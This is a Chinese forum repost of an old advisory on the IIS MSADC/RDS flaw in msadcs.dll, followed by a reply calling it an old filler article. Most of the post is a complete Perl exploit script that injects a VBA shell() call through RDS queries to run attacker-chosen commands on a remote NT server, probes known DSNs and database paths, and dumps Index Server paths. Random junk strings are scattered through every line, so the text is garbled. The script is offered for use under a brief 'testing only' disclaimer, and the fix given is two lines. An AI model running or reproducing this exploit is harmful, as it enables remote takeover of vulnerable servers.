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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) a|{<#<6n(  
O*Pe [T5x'  
涉及程序: /@}# K P=  
Microsoft NT server q9z!g/,d/  
/%'7sx[p  
描述: 7 ,~Krzv  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 "1TM  
ZrT|~$*m`  
详细: soK_l|z:J  
如果你没有时间读详细内容的话,就删除: ;j\$[4W.i  
c:\Program Files\Common Files\System\Msadc\msadcs.dll /*2W?ZM~H  
有关的安全问题就没有了。 2Sd6b 2-  
Z"nuO\zH~  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 U1tPw`0h  
]`U?<9~Ob  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 X \ZUt >  
关于利用ODBC远程漏洞的描述,请参看: R2f,a*>  
j`M<M[C*4N  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]-OkW.8d1  
0`zq*OQ  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 J-?(sjIX  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp @  MoMU  
Z+Zh;Ms  
这里不再论述。 9 f/tNQ7W  
6j![m+vo%  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: bvvx(?!  
pl/$@K?L  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset !H.lVA  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 0n^j 50Yq  
I=I%e3GEm  
#Ih(2T i  
#将下面这段保存为txt文件,然后: "perl -x 文件名" !-Q!/?  
~&|i'f[  
#!perl 4tKf  
# d u )G)~  
# MSADC/RDS 'usage' (aka exploit) script gvt4'kp  
# EU~'n-  
# by rain.forest.puppy GUZi }a|=  
# IMEoov-x  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me \wd`6  
# beta test and find errors! j* ja)  
1 .k}gl0<  
use Socket; use Getopt::Std; t":>O0>cz  
getopts("e:vd:h:XR", \%args); AG=1TZI"  
Ps-d#~4U;  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; #r}c<?>Vw  
0nn# U  
if (!defined $args{h} && !defined $args{R}) { 3P>@ :  
print qq~ $o^}<)DW  
Usage: msadc.pl -h <host> { -d <delay> -X -v }  3".W  
-h <host> = host you want to scan (ip or domain) 94/}@<d-=  
-d <seconds> = delay between calls, default 1 second _"TG:RP  
-X = dump Index Server path table, if available ;^]F~x}  
-v = verbose 7%WI   
-e = external dictionary file for step 5 vsR&1hs  
VW/1[?HG5  
Or a -R will resume a command session 3EdPKM j&  
Kep?=9r4+  
~; exit;} bZJiubBRI  
N9Vcp~;  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; -z94>}Z=  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} RUO6Co-  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ^a r9$$~/!  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); =cY]cPO  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} B dUyI_Ks:  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } wVB8PO8  
Z m>69gl  
if (!defined $args{R}){ $ret = &has_msadc; yuq E  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} P*Nl3?T  
v4Gkf  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Z )I4U  
. "cmd /c "; 9:>vl0  
$in=<STDIN>; chomp $in; mbK$Wp#  
$command="cmd /c " . $in ; O5w\oDhMb  
~f:fOrLE#  
if (defined $args{R}) {&load; exit;} ah.Kb(d:  
:4dili4|/  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Kk#@8h>  
&try_btcustmr; #;)7~69  
-_dgd:or  
print "\nStep 2: Trying to make our own DSN..."; H#:Yw|t  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; s&l[GKR  
P:o<kRj1  
print "\nStep 3: Trying known DSNs..."; }HzZj;O^2>  
&known_dsn; 0 N(2[s_A  
t&0p@xLQ  
print "\nStep 4: Trying known .mdbs..."; &DV'%h>i=  
&known_mdb; _nt%&f  
6)8']f  
if (defined $args{e}){ Vl%k:  
print "\nStep 5: Trying dictionary of DSN names..."; R.7" ZG  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } s?G@ k}{  
pJI H_H  
print "Sorry Charley...maybe next time?\n"; l#Tm`br  
exit; W~qo `r  
D'X'h}+2  
############################################################################## TFhj]r^ {  
UkC\[$-"\  
sub sendraw { # ripped and modded from whisker x+&&[>-P  
sleep($delay); # it's a DoS on the server! At least on mine... l40$}!!<  
my ($pstr)=@_; LLMkv!%D  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || T"z!S0I  
die("Socket problems\n"); AxeWj%w@  
if(connect(S,pack "SnA4x8",2,80,$target)){ ] 3v  
select(S); $|=1; _MR2,mC  
print $pstr; my @in=<S>; sTb/l!=o  
select(STDOUT); close(S); ^ZsME,  
return @in; a7Jr} "B  
} else { die("Can't connect...\n"); }} tf,_4_7#$  
r&qD!l5y  
############################################################################## BBX4^;t  
0Ec -/   
sub make_header { # make the HTTP request 2a G<^3  
my $msadc=<<EOT P>H'od  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Av'H(qB\K  
User-Agent: ACTIVEDATA 4DNZ y2`  
Host: $ip ecb[m2z  
Content-Length: $clen ,W#y7 t  
Connection: Keep-Alive /xmd]XM=_  
dZm{?\^_  
ADCClientVersion:01.06 a8N!jQc_m  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 1ayxE(vMcX  
i-Z@6\/a5  
--!ADM!ROX!YOUR!WORLD! cc>h=%s`  
Content-Type: application/x-varg &^}w|J?  
Content-Length: $reqlen '? d[ ip  
E?;W@MJi  
EOT m'S-h'a  
; $msadc=~s/\n/\r\n/g; BH}u\K  
return $msadc;} N\p3*#M  
Z d%*,\`S  
############################################################################## NzEuiI}  
}b-?Dm_H  
sub make_req { # make the RDS request :{sX8U%  
my ($switch, $p1, $p2)=@_; N9i>81tY  
my $req=""; my $t1, $t2, $query, $dsn; d&fENnt?h  
B!5gD   
if ($switch==1){ # this is the btcustmr.mdb query fhC=MJ @  
$query="Select * from Customers where City=" . make_shell(); R(:q^?  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . xGA%/dy,;  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ?O_;{(F_  
5%Q!R%  
elsif ($switch==2){ # this is general make table query {30A1>0#P  
$query="create table AZZ (B int, C varchar(10))"; V7&L+]!  
$dsn="$p1";} ie_wJ=s  
A_[65'*b  
elsif ($switch==3){ # this is general exploit table query n>@(gDq  
$query="select * from AZZ where C=" . make_shell(); 3A+d8fwi  
$dsn="$p1";} <mpkkCl,  
T# 8O:  
elsif ($switch==4){ # attempt to hork file info from index server m\Dbb.vBvW  
$query="select path from scope()"; DukCXyB*l  
$dsn="Provider=MSIDXS;";} lwK Au!l  
:+u?A  
elsif ($switch==5){ # bad query kY*D s;  
$query="select"; 0iwx$u 7[  
$dsn="$p1";} t]Oxo`h=  
P'g$F<~V  
$t1= make_unicode($query); 6@bO3K|  
$t2= make_unicode($dsn); En[cg  
$req = "\x02\x00\x03\x00"; ?gTY! ;$P  
$req.= "\x08\x00" . pack ("S1", length($t1)); :HwB+Bjy  
$req.= "\x00\x00" . $t1 ; 0"ZRJl<)[I  
$req.= "\x08\x00" . pack ("S1", length($t2)); A$ s4Q0Mf  
$req.= "\x00\x00" . $t2 ; h'wI/Z_'  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; %POoyH@D}  
return $req;} t,&1~_9  
dC)@v]#h  
############################################################################## GUMO;rZs  
? -6oh~W<  
sub make_shell { # this makes the shell() statement mio\}S A  
return "'|shell(\"$command\")|'";} Ru2kC} Dx!  
=n9|r.\&uJ  
############################################################################## / S]<MS  
:]:q=1;c  
sub make_unicode { # quick little function to convert to unicode o@"H3 gz  
my ($in)=@_; my $out; @q|I$'K]x  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } d?'q(6&H  
return $out;} U"/":w ~  
q&7J1  
############################################################################## dZ_Hj X7  
.h{`e>d  
sub rdo_success { # checks for RDO return success (this is kludge) U@DIO/C,m`  
my (@in) = @_; my $base=content_start(@in); (oxe'\  
if($in[$base]=~/multipart\/mixed/){ HPT$)NeNc  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} y1z4qSeM  
return 0;} R{u/r%  
p"3_u;cN  
############################################################################## :Fu.S1j$  
3 l QGU  
sub make_dsn { # this makes a DSN for us 6f(K'v  
my @drives=("c","d","e","f"); 9*U3uyPi  
print "\nMaking DSN: "; |cUTP!iy  
foreach $drive (@drives) { Xb.WI\Eh  
print "$drive: "; rISg`-  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . +<7`Gn(n3  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" #[ipJ %  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); [HLXWu3  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 4:WN-[xX  
return 0 if $2 eq "404"; # not found/doesn't exist =*_T;;E  
if($2 eq "200") { 7G z f>n  
foreach $line (@results) { #|ETH;HM  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ===M/}r  
} return 0;} Q!9AxM2K  
2= S;<J  
############################################################################## S&^i*R4]  
BUvE~l.,|  
sub verify_exists { #0GvL=}k  
my ($page)=@_; Xt& rYv  
my @results=sendraw("GET $page HTTP/1.0\n\n"); AU0pJB'  
return $results[0];} Rw-!P>S$  
g ]%sX6T  
############################################################################## mO%F {'  
#6* j+SX^  
sub try_btcustmr { K8,Q^!5]"  
my @drives=("c","d","e","f"); mhpaPin*JS  
my @dirs=("winnt","winnt35","winnt351","win","windows"); }04 EM  
-q'G]}  
foreach $dir (@dirs) { aGSix}b1P  
print "$dir -> "; # fun status so you can see progress dX^ ^ @7  
foreach $drive (@drives) { F8Y_L\q  
print "$drive: "; # ditto _[IOPHa"  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; jjLx60|{  
$reqlenlen=length( "$reqlen" ); RKru hF  
$clen= 206 + $reqlenlen + $reqlen; 3}hJ`xQ  
l4: B(  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); }Y9= 3X  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} cCa+UTxaJ  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} X3mHg5zt  
Es]:-TR  
############################################################################## VO u/9]a  
v_G1YC7TU  
sub odbc_error { yVZLZLm  
my (@in)=@_; my $base; FqwH:Fcr:  
my $base = content_start(@in); p#;I4d G  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this h$`zuz  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :LrB9Cf$n  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~$PY6s  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; r&rip^40  
return $in[$base+4].$in[$base+5].$in[$base+6];} <dd XvUCX  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; +YD_ L  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . X iW~? *Z  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} <Dk6o`7^N  
0^('hS&  
############################################################################## )JA9bR <  
,azBk`$iQr  
sub verbose { ?Z(xu~^/  
my ($in)=@_; pE4yx5r5  
return if !$verbose; !FA[ ]d4  
print STDOUT "\n$in\n";} T;C0t9Yew  
8*&|Q1`K:  
############################################################################## _jWGwO  
*N65B#  
sub save { EBMZ7b-7  
my ($p1, $p2, $p3, $p4)=@_; i+@t_pxc  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 2'U+QK@  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; sD=iHO Am  
close OUT;} }'u0Q6Obj  
>xCc#]v&  
############################################################################## 01w}8a(  
y^:N^Gt  
sub load { 4Ai#$SHLm  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; $+WMKv@<  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); <wTD}.n  
@p=<IN>; close(IN); ~0V,B1a  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); L %20tm  
$target= inet_aton($ip) || die("inet_aton problems"); HDQH7Bs  
print "Resuming to $ip ..."; ItxC}qT  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; AQgagE^  
if($p[1]==1) { _>u0vGF-  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; U2CCjAgRs  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; C ^ 1;r9  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ^kh@AgG^  
if (rdo_success(@results)){print "Success!\n";} ~{$5JIpCm  
else { print "failed\n"; verbose(odbc_error(@results));}} ^oXLk&d  
elsif ($p[1]==3){ mvXIh";  
if(run_query("$p[3]")){ BvqypLI  
print "Success!\n";} else { print "failed\n"; }} T:0#se  
elsif ($p[1]==4){ _ipY;  
if(run_query($drvst . "$p[3]")){ eb=#{  
print "Success!\n"; } else { print "failed\n"; }} {GhM,-%e  
exit;} vv^(c w>A  
js F96X{  
############################################################################## 0oPcZ""X]  
E-i <^&E  
sub create_table { l~'NqmXe  
my ($in)=@_; JG*Lc@Q  
$reqlen=length( make_req(2,$in,"") ) - 28; ;S}_/'  
$reqlenlen=length( "$reqlen" ); 56!/E5qgW  
$clen= 206 + $reqlenlen + $reqlen; M D,+>kh  
my @results=sendraw(make_header() . make_req(2,$in,"")); hWAZP=H  
return 1 if rdo_success(@results); IiB"F<&[j{  
my $temp= odbc_error(@results); verbose($temp); 0=I:VGC3  
return 1 if $temp=~/Table 'AZZ' already exists/; m$H(l4wB>  
return 0;} lQl  
dZ{yNh.]  
############################################################################## bFwc>  
{N`<TH PP  
sub known_dsn { 69JC!du  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ST25RJC  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", -=VGXd  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", m)"wd$O^w  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); m8NKuhu  
kdp- |9  
foreach $dSn (@dsns) { , Vr'F  
print "."; b5Vn_;V*  
next if (!is_access("DSN=$dSn")); D9-D%R,  
if(create_table("DSN=$dSn")){ N3?@CM^hHw  
print "$dSn successful\n"; f) @-X!  
if(run_query("DSN=$dSn")){ xZ(f_Oy  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ,-.a! a  
print "Something's borked. Use verbose next time\n";}}} print "\n";} IHStN,QD  
pipqXe  
############################################################################## 6rg?0\A<  
25 m!Bf  
sub is_access { .vk|aIG  
my ($in)=@_; D/Hob  
$reqlen=length( make_req(5,$in,"") ) - 28; Y/Q/4+  
$reqlenlen=length( "$reqlen" ); mIm.+U`a2  
$clen= 206 + $reqlenlen + $reqlen; sEm064  
my @results=sendraw(make_header() . make_req(5,$in,"")); !/wR[`s9w  
my $temp= odbc_error(@results); < (<IRCR  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); x/^,{RrPk  
return 0;} uwhb-.w  
f]37Xl%I  
############################################################################## ZINqIfc  
zpM%L:S  
sub run_query { 9~6)u=4sS"  
my ($in)=@_; @WfX{485  
$reqlen=length( make_req(3,$in,"") ) - 28; Sz#dld Mz  
$reqlenlen=length( "$reqlen" ); e9@7GaL`"S  
$clen= 206 + $reqlenlen + $reqlen; &(t/4)IZox  
my @results=sendraw(make_header() . make_req(3,$in,"")); yx&'W_Q@  
return 1 if rdo_success(@results); K3On8  
my $temp= odbc_error(@results); verbose($temp); M73d^z  
return 0;} Fg<rz&MR  
+ew9%={zB  
############################################################################## J8:f9a:|M  
72;ot`  
sub known_mdb { AV:P/M^B  
my @drives=("c","d","e","f","g"); [6{o13mCWE  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 41Htsj  
my $dir, $drive, $mdb; MPI=^rc2  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 'I8K1Q=/  
8dY Pn+`  
# this is sparse, because I don't know of many y1@*)| r  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 6x8P}?  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", =vc8u&L2  
"\\system32\\certmdb.mdb", JLFZy\  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% oo{3-+ ?  
_)6N&u8  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", eg$y,Tx  
"\\cfusion\\cfapps\\forums\\forums_.mdb", k}h\RCy%f  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", \WN ,.  
"\\cfusion\\cfapps\\security\\realm_.mdb", i9 Tq h  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ;LjTsF'  
"\\cfusion\\database\\cfexamples.mdb", a][QY1E@?  
"\\cfusion\\database\\cfsnippets.mdb", t/`~(0F  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", P/hV{@x  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", p3R: 3E6p  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ZI>')T<@j"  
"\\cfusion\\database\\smpolicy.mdb", 7\xGMCctM  
"\\cfusion\\database\cypress.mdb", 3j2#'Jf|:  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", yv2N5IQ>{V  
"\\website\\cgi-win\\dbsample.mdb", 4' MmT'  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", y +2  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" /suW{8A(E  
); #these are just xq<3*Bcw  
foreach $drive (@drives) { N(W;\>P  
foreach $dir (@dirs){ znxP.=GB   
foreach $mdb (@sysmdbs) { 1q7Y,whp  
print "."; rQ*Fc~^L  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 2uln)]  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; XVwJr""+  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ RL|d-A+;  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; , A@uSfC(  
} else { print "Something's borked. Use verbose next time\n"; }}}}} & uMx*TTY  
^/V>^9CZ  
foreach $drive (@drives) { >nqCUhS   
foreach $mdb (@mdbs) { `EJ.L6j$'  
print "."; Pn|;VCh  
if(create_table($drv . $drive . $dir . $mdb)){ g;n6hXq4  
print "\n" . $drive . $dir . $mdb . " successful\n"; A$=h'!$  
if(run_query($drv . $drive . $dir . $mdb)){  Z,Z4Sp  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; tP0\;W  
} else { print "Something's borked. Use verbose next time\n"; }}}} K}j["p<!  
} \a7caT{  
XTro;R=#  
############################################################################## M8{J  
A6Vb'Gqv{  
sub hork_idx { mQka?_if)  
print "\nAttempting to dump Index Server tables...\n"; gx ]5)O  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; # X`t~Y'  
$reqlen=length( make_req(4,"","") ) - 28; o0}kRL  
$reqlenlen=length( "$reqlen" ); ]H$Trf:L  
$clen= 206 + $reqlenlen + $reqlen; RoLN#  
my @results=sendraw2(make_header() . make_req(4,"","")); m<liPl uv  
if (rdo_success(@results)){ &)ED||r,  
my $max=@results; my $c; my %d; RE%25t|  
for($c=19; $c<$max; $c++){ \WPy9kRU  
$results[$c]=~s/\x00//g; pt_]&3\e  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; =!N,{V_  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; b'1m 9T780  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; &y&pjo6v1  
$d{"$1$2"}="";} {\u6Cjx  
foreach $c (keys %d){ print "$c\n"; } s^R$u"pFs  
} else {print "Index server doesn't seem to be installed.\n"; }} !~_6S*~  
<Eu/f`8  
############################################################################## ^9zlxs`<d  
dh-?_|"  
sub dsn_dict { ,~G:>q$ad  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ZE[NQ8  
while(<IN>){ +|6E~#zklY  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; @ *&`1  
next if (!is_access("DSN=$dSn")); -_^#7]  
if(create_table("DSN=$dSn")){ qE*hUzA  
print "$dSn successful\n"; 6ee1^>  
if(run_query("DSN=$dSn")){ W_bA.z T{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { kk$D:UQX  
print "Something's borked. Use verbose next time\n";}}} ,X)/ T!ff  
print "\n"; close(IN);} orZwm9#].  
Fgw$;W  
############################################################################## #Fckev4  
,Yu2K`  
sub sendraw2 { # ripped and modded from whisker ow4|GLU^;  
sleep($delay); # it's a DoS on the server! At least on mine... z0 J:"M  
my ($pstr)=@_; 4bq+(CI6  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || p?' F$Wz  
die("Socket problems\n"); *t bgIW+h  
if(connect(S,pack "SnA4x8",2,80,$target)){ 1Gw_S?$7  
print "Connected. Getting data"; us )NgG  
open(OUT,">raw.out"); my @in; ,!bcm  
select(S); $|=1; print $pstr; L"'L@ A|U  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} @N6KZn |R  
close(OUT); select(STDOUT); close(S); return @in; v%)=!T ,  
} else { die("Can't connect...\n"); }} ]D@y""{--s  
X=[`+=  
############################################################################## 7 aN}l QM  
ar:qCq$\  
sub content_start { # this will take in the server headers l<p6zD$l  
my (@in)=@_; my $c; Z9UNp[  0  
for ($c=1;$c<500;$c++) { zvKypx  
if($in[$c] =~/^\x0d\x0a/){ zJTSg  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 4~e6z(  
else { return $c+1; }}} p;rT#R&6>  
return -1;} # it should never get here actually 0kL tL!3  
\SA$:^zO  
############################################################################## V]|P>>`v9p  
e[%g'}D:-  
sub funky { ol@LLT_m  
my (@in)=@_; my $error=odbc_error(@in); qViolmDz  
if($error=~/ADO could not find the specified provider/){ .!Os'Y9[,  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; p} i5z_tS  
exit;} R|K#nh  
if($error=~/A Handler is required/){ cp 5  
print "\nServer has custom handler filters (they most likely are patched)\n"; 3t$)saQR  
exit;} f/]g@/`  
if($error=~/specified Handler has denied Access/){ "uD^1'IW2  
print "\nServer has custom handler filters (they most likely are patched)\n"; ?Q/9aqHe;  
exit;}} 22"/|S  
nX-%qc"  
############################################################################## A!p70km2  
b;$j h   
sub has_msadc { $jNp-5+Q;  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ^ ,yh384  
my $base=content_start(@results); (C!33s1  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Uv(Uj3D  
return 0;} UU 2 =W  
H8?Kgaj~vf  
######################## uNG?`>4>  
"P {T]  
/]"2;e-s+  
解决方案: (f?&zQ!+  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ee{8C~  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Z/hgr|&}  
`@07n]KB  
拿出来充数 哈哈
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